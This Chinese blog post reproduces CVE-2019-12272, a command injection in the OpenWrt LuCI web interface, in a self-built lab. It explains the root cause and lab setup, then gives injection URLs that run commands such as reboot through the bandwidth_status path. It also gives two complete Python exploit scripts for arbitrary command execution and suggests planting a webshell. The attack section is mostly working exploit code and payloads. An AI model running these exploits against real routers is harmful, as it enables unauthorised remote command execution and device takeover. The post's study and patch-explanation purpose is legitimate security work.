当前位置: 首页 > news >正文

CVE-2019-12272 Openwrt可视页面LuCi命令注入漏洞复现(完结)

声明

本文所使用的一些源代码等内容已经上传至github,具体地址如下

Vulnerability_POC-EXP/OpenWrt/CVE-2019-12272 at main · a2148001284/Vulnerability_POC-EXP · GitHub

漏洞简介

参考内容:

CVE-2019-12272 OpenWrt图形化管理界面LuCI命令注入分析 | Math & Sec ,HACHp1的个人博客

CVE-2019-12272 OpenWrt图形化管理界面LuCI命令注入分析_openwrt 图形界面-CSDN博客

exploits/CVE-2019-12272 at master · oreosES/exploits · GitHub

OpenWrt LuCI是一款用于OpenWrt(Linux发行版)的图形化配置界面

OpenWrt LuCI 0.10及之前版本中的admin/status/realtime/bandwidth_status和admin/status/realtime/wireless_status端点存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。

漏洞原理分析

        正如现在十分流行的SpringBoot框架一样,Luci也采用了MVC的三层架构,开发主要是采用的lua脚本进行的开发。同样会从controller进入,找到相应的model进行处理。

        核心程序目录在controller下的admin下的status.lua文件中

漏洞所在位置是realtime接口的bandwidth_status函数或者wireless_status函数

具体流程是通过控制器进入了index.lua的路由后,使用dispatcher的call回调函数调用action_bandwidth函数

首先是call函数

之后会进入action_bandwidth函数:

        url解析路由之后的部分将被当做参数iface传入,在上图的代码66行中,参数没有经过任何过滤,直接通过%q拼接到了相应的内容当中。且%q默认会将传入的内容iface包裹上一个双引号后拼接进去。举个例子,如果iface是aaa 那么传入拼接以后就变成了luci -bwc -i "aaa" 2>/dev/null

        那么当通过io.popen来执行命令的时候,在bash权限情况下,如果我们输入的iface参数的数值为$(),那么加上有了双引号的包裹,$()的内容可能会被当作命令执行,从而导致了远程命令执行漏洞,有点类似于SQL注入没有过滤参数的感觉。

        所以漏洞主要的点就在于这个函数没有过滤上。

漏洞环境搭建

本次实验我们采用的openwrt的版本是Chaos Calmer OpenWrt 15.05.1

具体实验环境的下载地址如下:

https://archive.openwrt.org/chaos_calmer/15.05.1/x86/64/openwrt-15.05.1-x86-64-combined-ext4.img.gz

(ps:切记选择镜像的时候 要选择x86下的64的镜像 选择错的话 可能windows下没有办法运行或者vmware启动后会出错 选择一定要严格选择镜像的版本)

我们采用和之前2020-7982漏洞相同的安装和部署方式,详情见CVE-2020-7982 OpenWrt 远程命令执行漏洞学习(完结)_openwrt 漏洞-CSDN博客

我们也将其转换完格式后导入到vmware中,并且也确保其和kali的网络是可以互相ping通相互访问的,后续的攻击操作我们都将在kali机器中进行模拟。

具体的格式转换如下图

qemu-img.exe convert -O vmdk openwrt-15.05.1-x86-64-combined-ext4.img 15.05.1.vmdk

转换完毕后,我们尝试导入到vmware中进行安装

安装时记得选择

指定完我们转换完的磁盘后,就可以成功在vmware中运行

PS:本人不明白是系统存在问题,还是什么原因,我的电脑按照以上操作完成后,在vmware启动虚拟机时,会出现卡住在某些黑框命令的情况,很长时间没有反应,读者可以先尝试以上办法,不可行再尝试一下方案。

接下来我参考了别人一篇的办法,将网络设置为了dhcp的连接方案,虽然此时kali不能够访问到openwrt,但是主机本身可以通过localhost访问到目标主机,且切记,只有本文符合要求的15.05.1的openwrt的版本才具备http的功能,才能成功的将源代码通过http的方式下载下来(本人亲测),所以强烈建议以本文提供的镜像为实验环境,如果有大牛有别的下载源代码的方法,欢迎讨论。

环境部署参考:(重点是qemu启动时候的参数要学习一下)

【安装笔记-20240520-Windows-在 QEMU 中尝试运行 OpenWRT】_qemu openwrt-CSDN博客

【调试笔记-20240525-Windows-配置 QEMU/x86_64 运行 OpenWrt-23.05 发行版并搭建 WordPress 博客网站】_qemu安装openwrt-CSDN博客

我们将镜像openwrt-15.05.1-x86-generic-combined-ext4.img放到qemu的启动目录下,cmd下执行如下的命令即可成功的启动openwrt的镜像。

qemu-system-x86_64.exe -cpu "Penryn,vendor=GenuineIntel,+ssse3,+sse4.2" -m 256 -hda openwrt-15.05.1-x86-generic-combined-ext4.img -netdev "user,id=hn0,hostfwd=tcp::80-:80,hostfwd=tcp::50022-:22" -device "e1000,netdev=hn0,id=nic1" -net nic,model=virtio -net user -display sdl

之后我们把联网的方式重置为dhcp的方式,用如下的命令

uci set network.lan.proto="dhcp"
uci commit network
service network restart

如果你的版本不兼容命令service network restart,本文的系统也不兼容,则将这条命令替换为如下的命令重启服务也可以

/etc/init.d/network restart

此时可以尝试是否可以ping通百度,判断是否可以联网

之后我们去自己的本主机,访问localhost,看是否可以访问到路由器的uhttpd的luci图形化页面。

至此,我们实验所需要使用的环境就算部署完了,我们后续的攻击模拟操作会在本主机来进行。

但是为了便于我们对于漏洞原理更好的理解和分析,我们需要把luci的源代码下载下来。

我们可以通过如下命令,进入到luci的目录

cd /usr/lib/lua/luci

进入以后,我们通过如下的命令,将当前目录下的全部内容进行打包

tar -zcvf code.tar.gz *

将所有的内容打包为code.tar.gz

我们可以将这个文件,移动到http这个文件夹下,这是luci当前版本所提供的方法,可以直接通过http的协议来下载目录下的文件

mv ./code.tar.gz ./http/code.tar.gz

除此以外,还有另外两种方法可以完成文件的传输。第一种是在挂载的时候,指定-virtfs参数来指定共享文件夹,后续可以通过这个文件夹来与主机共享文件。

可以参考在QEMU虚拟机和宿主机之间传输文件_qemu虚拟机文件拷贝-CSDN博客

本文将第三种方法再演示一下,由于一开始挂载的命令中将虚拟机的22端口做了映射,映射到了本机的50022端口,命令是hostfwd=tcp::50022-:22。所以我们可以先把虚拟机的密码进行一下修改

修改完成后,本文采用的镜像默认启动了ssh服务,我们可以通过bitvise或者finalshell等工具进行ssh的连接,这里不再赘述

之后可以通过SFTP的服务来传输文件。

也可以自行在命令行,通过ssh服务来传输文件

可以在windows终端输入如下命令

scp root@127.0.0.1:/usr/lib/lua/luci/http/code.tar.gz ./code.tar.gz

本文由于ssh端口被映射到了50022 要通过-P指定端口

scp -P 50022 root@127.0.0.1:/usr/lib/lua/luci/http/code.tar.gz ./code.tar.gz

传输完毕

接下来我们会结合这个代码来分析漏洞原理

漏洞利用

首先我们可以通过POC进行漏洞利用的验证

http://127.0.0.1/cgi-bin/luci/admin/status/realtime/bandwidth_status/eth0$(id>cmd)

其中id>cmd,也就是eth0$(),括号中的内容就是linux系统即将执行的命令

一般执行命令没有什么明显的回显,可以尝试把命令写成reboot,如果系统重启了,也就证明漏洞被成功利用了。

还有另一种情况,测试以上poc以后,页面不变,那么我们可以尝试先登录

登录完成以后,页面的url会改变

这个stok有点类似于我们的cookie或者session,我们可以在这段内容的基础上再加入命令

http://127.0.0.1/cgi-bin/luci/;stok=5c17919168ef7b9a15fd063312692e8c/admin/status/realtime/bandwidth_status/eth0$()

能出现回显,说明命令可以成功执行

比如我们测试一下 ifconfig

http://127.0.0.1/cgi-bin/luci/;stok=5c17919168ef7b9a15fd063312692e8c/admin/status/realtime/bandwidth_status/eth0$(ifconfig)

没有明显的回显 我们可以测试如reboot这种重启的命令

http://127.0.0.1/cgi-bin/luci/;stok=5c17919168ef7b9a15fd063312692e8c/admin/status/realtime/bandwidth_status/eth0$(reboot)

执行之前的系统如下

点击执行的瞬间

很明显 reboot重启指令被成功的执行了 所以POC成功的验证了命令执行这个功能

接下来我们可以尝试用python写一个exp 来利用这个漏洞

cve-2019-12272_bandwidth_status.py

#!/usr/bin/python3import argparse
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def exploit(args):try:address = args.addressusername = args.usernamepassword = args.passwordcommand = args.commandsession = requests.Session()url = 'http://%s/cgi-bin/luci/admin/status/realtime/bandwidth_status/eth0$(%s>output.txt)' % ( address,command ) # 将执行结果写入output.txt文件data = {'luci_username':username,'luci_password':password}response = session.post(url=url,data=data,verify=False)url = 'http://%s/output.txt' % address # 获取output.txt内容response = session.get(url=url,verify=False)print('[+] out=\n'+response.text)except:print('[-] not exploitable')def main():parser = argparse.ArgumentParser(description='cve-2019-12272.py')requiredNamed = parser.add_argument_group('required named arguments')requiredNamed.add_argument('-a', '--address', help='地址', required=True)requiredNamed.add_argument('-u', '--username', help='username', required=True)requiredNamed.add_argument('-p', '--password', help='password', required=True)requiredNamed.add_argument('-c', '--command', help='待执行命令', required=True)args = parser.parse_args()exploit(args)if __name__== "__main__":main()

使用方法

python .\cve-2019-12272_bandwidth_status.py -a 192.168.153.4 -u root -p root -c ls

cve-2019-12272_wireless_status.py

#!/usr/bin/python3import argparse
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def exploit(args):try:address = args.addressusername = args.usernamepassword = args.passwordcommand = args.commandsession = requests.Session()url = 'http://%s/cgi-bin/luci/admin/status/realtime/wireless_status/eth0$(%s>output.txt)' % ( address,command ) # 将执行结果写入output.txt文件data = {'luci_username':username,'luci_password':password}response = session.post(url=url,data=data,verify=False)url = 'http://%s/output.txt' % address # 获取output.txt内容response = session.get(url=url,verify=False)print('[+] out=\n'+response.text)except:print('[-] not exploitable')def main():parser = argparse.ArgumentParser(description='cve-2019-12272.py')requiredNamed = parser.add_argument_group('required named arguments')requiredNamed.add_argument('-a', '--address', help='地址', required=True)requiredNamed.add_argument('-u', '--username', help='username', required=True)requiredNamed.add_argument('-p', '--password', help='password', required=True)requiredNamed.add_argument('-c', '--command', help='待执行命令', required=True)args = parser.parse_args()exploit(args)if __name__== "__main__":main()

使用方法

python .\cve-2019-12272_wireless_status.py -a 192.168.153.4 -u root -p root -c ls

这种exp脚本的编写,和web的各种基础漏洞的利用,如用一句话木马连接shell等都很类似,所以这里就不赘述exp的原理了,很简单。

        我们大可以尝试直接不用exp,就页面上写个命令,写入一个一句话木马到木马文件,然后连接使用就可以了,很简单。

http://127.0.0.1/cgi-bin/luci/;stok=a99b4c2bcb3936bf7fd3c5fc8621b521/admin/status/realtime/bandwidth_status/eth0$(ifconfig >> a.txt)

如果命令被成功执行的话,其回显是有内容的

如果回显的内容是空的[],说明没有被成功执行

我们执行了将ifconfig的内容写到a.txt 我们可以在当前目录下找到

漏洞修复

        对于修复后的版本,其使用了gsub函数,将iface参数中的单引号去除掉,然后在最外层加上了单引号,这样整个iface就会被当做字符串,而不会被当作命令来执行了。只有双引号括起来才有可能被当作命令去执行。

相关文章:

CVE-2019-12272 Openwrt可视页面LuCi命令注入漏洞复现(完结)

声明 本文所使用的一些源代码等内容已经上传至github,具体地址如下 Vulnerability_POC-EXP/OpenWrt/CVE-2019-12272 at main a2148001284/Vulnerability_POC-EXP GitHub 漏洞简介 参考内容: CVE-2019-12272 OpenWrt图形化管理界面LuCI命令注入分析 |…...

【多线程开发 4】从源码学习LockSupport

从源码学习LockSupport 2024年6月30日 大家好啊,好久没写博客了,今天打算写一下,讲一下JUC里面LockSupport这个类。 这个是一个工具类,实际上也是为了线程通信开发的。它的源码比较短,也只引用了Unsafe一个类。所以…...

gameui C++的代码

gameui C的代码 #include <graphics.h> #include "gameboard.h" const int WIDTH 560; const int HEIGHT 780; const int GRID_SIZE 120; class GameUi { private: public:GameUi(GameBoard& gb) {// 初始化图形窗口initgraph(WIDTH, HEIGHT);// 设置…...

1.什么是js?特点是什么?组成部分?

Js是一种直译式脚本语言&#xff0c;一种动态类型&#xff0c;弱类型&#xff0c;基于原型的高级语言。 直译式&#xff1a;js程序运行过程中直接编译成机器语言。 脚本语言&#xff1a;在程序运行过程中逐行进行解释说明&#xff0c;不需要预编译。 动态类型&#xff1a;js…...

爬虫是什么?

目录 1.什么是互联网爬虫&#xff1f; 2.爬虫核心? 3.爬虫的用途? 4.爬虫分类&#xff1f; 5.反爬手段&#xff1f; 1.什么是互联网爬虫&#xff1f; 如果我们把互联网比作一张大的蜘蛛网&#xff0c;那一台计算机上的数据便是蜘蛛网上的一个猎物&#xff0c;而爬虫程序…...

深入理解Presto分页查询:方法与最佳实践

目录 引言为什么需要分页查询Presto简介分页查询的基本概念Presto分页查询的实现方法 使用LIMIT和OFFSET使用游标分页结合外部工具和框架 分页查询的性能优化 索引优化查询计划优化数据分区 实际案例分析最佳实践与常见问题 大数据集分页复杂查询分页实时性要求高的场景 总结 …...

如何使用Go语言中的并发函数实现网络爬虫的分布式部署?

如何使用go语言中的并发函数实现网络爬虫的分布式部署&#xff1f; 在当今的互联网时代&#xff0c;大量的信息蕴藏在各个网站中&#xff0c;爬虫成为了一种重要的工具。而对于大规模的数据爬取任务&#xff0c;采用分布式部署能够更有效地提升爬取速度和效率。Go语言的并发机…...

STM32第九课:DHT11温湿度传感器

文章目录 需求一、DHT11温湿度传感器二、模块配置流程1.配置时钟和IO2.读取数据3.数据处理 三、导入语音模块四、关键代码总结 需求 1.完成DHT11温湿度检测模块的配置。 2.处理DHT11获取的数据&#xff0c;在串口打印处理后的实时数据。 2.通过Su-03t语音识别模块实现实时温湿…...

JVM线上监控环境搭建Grafana+Prometheus+Micrometer

架构图 一: SpringBoot自带监控Actuator SpringBoot自带监控功能Actuator&#xff0c;可以帮助实现对程序内部运行情况监控&#xff0c;比如监控内存状况、CPU、Bean加载情况、配置属性、日志信息、线程情况等。 使用步骤&#xff1a; 1. 导入依赖坐标 <dependency><…...

MyBatis(17)MyBatis 如何处理枚举类型

MyBatis 处理枚举类型的机制相对直接&#xff0c;它提供了一种灵活的方式来处理Java枚举&#xff08;enum&#xff09;类型和数据库之间的映射。在MyBatis中&#xff0c;你可以通过两种方式处理枚举类型&#xff1a;使用枚举的名称&#xff08;name&#xff09;或者枚举的序号&…...

云数据中心运维新纪元:让Linux服务器如虎添翼

文章目录 一、Linux系统管理的高级技巧1. 性能调优与监控&#xff1a;2. 自动化与脚本编写&#xff1a;3. 文件系统与存储管理&#xff1a; 二、服务器配置优化的策略1. 硬件选型与配置&#xff1a;2. 网络配置与优化&#xff1a;3. 应用部署与调优&#xff1a; 三、安全策略的…...

C# 多线程造成CPU占用率高

当线程多的时候就会造成CPU内存占用率过高 private void button1_Click(object sender, EventArgs e){Thread TH1, TH2, TH3, TH4, TH5;TH1 new Thread(Thread1){IsBackground true};TH2 new Thread(Thread2){IsBackground true};TH3 new Thread(Thread3){IsBackground t…...

谈谈在不同公司中的SAP职位

今天反客为主&#xff0c;聊一下这个HR的话题&#xff0c;考虑到SAP职位的专业性&#xff0c;感觉还是有必要谈一谈这个话题。最近跟几位HR的小伙伴聊了一下&#xff0c;讨论了下不同公司的SAP职位的招聘要求&#xff0c;感觉还是有那么几个存在的问题&#xff1a; 追求完美的…...

服务器连接不上

记录今天2024/07/02的问题&#xff1a; 我今天真的是非常无语&#xff0c;今天在连服务器的时候&#xff0c;突然发现连不上了。 后来才意识到&#xff0c;原来是我笔记本先是开了全局代理&#xff0c;然后再用easy connected连接。当时还跳出了一个窗口如下&#xff0c;我当时…...

论文辅导 | 基于贝叶斯优化-卷积神经网络-双向长短期记忆神经网络的锂电池健康状态评估

辅导文章 模型描述 准确估计电池健康状态是设备稳定运行的关键。针对当前健康状态研究中容量难以直接测量、估计模型调参费时等问题&#xff0c;提出基于多健康特征的贝叶斯优化&#xff08;BO&#xff09;算法优化卷积神经网络&#xff08;CNN&#xff09;与双向长短期记忆&a…...

安卓实现微信聊天气泡

一搜没一个能用的&#xff0c;我来&#xff1a; 布局文件&#xff1a; <?xml version"1.0" encoding"utf-8"?> <androidx.constraintlayout.widget.ConstraintLayout xmlns:android"http://schemas.android.com/apk/res/android"xml…...

软件测试(功能、接口、性能、自动化)详解 | 测试人生路

一、软件测试功能测试 测试用例编写是软件测试的基本技能&#xff1b;也有很多人认为测试用例是软件测试的核心&#xff1b;软件测试中最重要的是设计和生成有效的测试用例&#xff1b;测试用例是测试工作的指导&#xff0c;是软件测试的必须遵守的准则。 黑盒测试常见测试用…...

【面试题】网络IO模型

IO&#xff08;Input/Output&#xff09;模型指的是计算机系统中对输入/输出操作进行处理的不同方式。它定义了操作系统内核、应用程序和I/O设备之间如何交互和协调数据传输。不同的IO模型在效率、复杂性和适用场景方面都有所差异。以下是几种主要的IO模型及其特点&#xff1a;…...

数据结构-----【链表:基础】

链表基础 1、链表的理论基础 1&#xff09;基础&#xff1a; 链表&#xff1a;通过指针串联在一起的线性结构&#xff0c;每个节点由两部分组成&#xff0c;一个是数据域&#xff0c;一个是指针域&#xff08;存放指向下一个节点的指针&#xff09;&#xff0c;最后一个指针…...

如何在pycharm里面运行pytest用例

pycharm运行三种方式 1.以xx.py脚本方式直接执行&#xff0c;当写的代码里面没用到unittest和pytest框架时&#xff0c;并且脚本名称不是以test_开头命名的&#xff0c;此时pycharm会以xx.py脚本方式运行 2.当脚本命名为test_xx.py时&#xff0c;用到unittest框架&#xff0c…...

Docker 离线安装指南

参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性&#xff0c;不同版本的Docker对内核版本有不同要求。例如&#xff0c;Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本&#xff0c;Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...

【Oracle APEX开发小技巧12】

有如下需求&#xff1a; 有一个问题反馈页面&#xff0c;要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据&#xff0c;方便管理员及时处理反馈。 我的方法&#xff1a;直接将逻辑写在SQL中&#xff0c;这样可以直接在页面展示 完整代码&#xff1a; SELECTSF.FE…...

逻辑回归:给不确定性划界的分类大师

想象你是一名医生。面对患者的检查报告&#xff08;肿瘤大小、血液指标&#xff09;&#xff0c;你需要做出一个**决定性判断**&#xff1a;恶性还是良性&#xff1f;这种“非黑即白”的抉择&#xff0c;正是**逻辑回归&#xff08;Logistic Regression&#xff09;** 的战场&a…...

全球首个30米分辨率湿地数据集(2000—2022)

数据简介 今天我们分享的数据是全球30米分辨率湿地数据集&#xff0c;包含8种湿地亚类&#xff0c;该数据以0.5X0.5的瓦片存储&#xff0c;我们整理了所有属于中国的瓦片名称与其对应省份&#xff0c;方便大家研究使用。 该数据集作为全球首个30米分辨率、覆盖2000–2022年时间…...

【JavaSE】绘图与事件入门学习笔记

-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角&#xff0c;以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向&#xff0c;距离坐标原点x个像素;第二个是y坐标&#xff0c;表示当前位置为垂直方向&#xff0c;距离坐标原点y个像素。 坐标体系-像素 …...

使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台

🎯 使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台 📌 项目背景 随着大语言模型(LLM)的广泛应用,开发者常面临多个挑战: 各大模型(OpenAI、Claude、Gemini、Ollama)接口风格不统一;缺乏一个统一平台进行模型调用与测试;本地模型 Ollama 的集成与前…...

tauri项目,如何在rust端读取电脑环境变量

如果想在前端通过调用来获取环境变量的值&#xff0c;可以通过标准的依赖&#xff1a; std::env::var(name).ok() 想在前端通过调用来获取&#xff0c;可以写一个command函数&#xff1a; #[tauri::command] pub fn get_env_var(name: String) -> Result<String, Stri…...

[论文阅读]TrustRAG: Enhancing Robustness and Trustworthiness in RAG

TrustRAG: Enhancing Robustness and Trustworthiness in RAG [2501.00879] TrustRAG: Enhancing Robustness and Trustworthiness in Retrieval-Augmented Generation 代码&#xff1a;HuichiZhou/TrustRAG: Code for "TrustRAG: Enhancing Robustness and Trustworthin…...

电脑桌面太单调,用Python写一个桌面小宠物应用。

下面是一个使用Python创建的简单桌面小宠物应用。这个小宠物会在桌面上游荡&#xff0c;可以响应鼠标点击&#xff0c;并且有简单的动画效果。 import tkinter as tk import random import time from PIL import Image, ImageTk import os import sysclass DesktopPet:def __i…...

CVE-2023-25194源码分析与漏洞复现(Kafka JNDI注入)

漏洞概述 漏洞名称&#xff1a;Apache Kafka Connect JNDI注入导致的远程代码执行漏洞 CVE编号&#xff1a;CVE-2023-25194 CVSS评分&#xff1a;8.8 影响版本&#xff1a;Apache Kafka 2.3.0 - 3.3.2 修复版本&#xff1a;≥ 3.4.0 漏洞类型&#xff1a;反序列化导致的远程代…...